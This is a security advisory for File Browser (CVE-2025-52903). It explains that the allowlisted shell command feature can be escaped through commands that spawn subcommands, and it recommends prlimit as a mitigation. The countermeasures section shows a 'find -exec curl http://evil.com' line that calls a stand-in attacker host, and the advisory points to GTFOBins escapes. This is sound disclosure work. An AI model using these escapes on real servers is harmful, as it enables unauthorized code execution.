HighGHSA-3q2w-42mv-cph4CVE-2025-52903GO-2025-3786

filebrowser Allows Shell Commands to Spawn Other Commands

Published 27 Jun 2025 · Updated 9 Jun 2026

Is your project on an affected github.com/filebrowser/filebrowser/v2?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected package

Affected
<2.33.10
Fixed in
2.33.10
Update to the fixed version for your release line, for example:go get github.com/filebrowser/filebrowser/v2@v2.33.10

Details

> [!NOTE] > This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary ##

The *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact ##

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process.

Vulnerability Description ##

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website <https://gtfobins.github.io> gives a comprehensive overview:

  • <https://gtfobins.github.io/gtfobins/cpio>
  • <https://gtfobins.github.io/gtfobins/find>
  • <https://gtfobins.github.io/gtfobins/sed>
  • <https://gtfobins.github.io/gtfobins/git>
  • <https://gtfobins.github.io/gtfobins/env>

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept ##

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

!image

Recommended Countermeasures ##

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image.

Timeline ##

  • 2025-03-26 Identified the vulnerability in version 2.32.0
  • 2025-06-25 Uploaded advisories to the project's GitHub repository
  • 2025-06-25 CVE ID assigned by GitHub
  • 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References ##

Credits ##

Is GHSA-3q2w-42mv-cph4 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/filebrowser/filebrowser/v2, and gives you the command that fixes it.

More advisories for github.com/filebrowser/filebrowser/v2

  • LowCVE-2026-61874File Browser: Trailing-slash directory deletion leaves public shares active for recreated paths · 13 Nov 2026
  • LowCVE-2026-55668File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-55667File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-62685File Browser: Colliding username normalization gives two users the same home directory in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-62684File Browser: Share API exposes the password hash and bypass token in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-62843File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) in github.com/filebrowser/filebrowser · 22 Jul 2026
All 87 advisories for github.com/filebrowser/filebrowser/v2

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.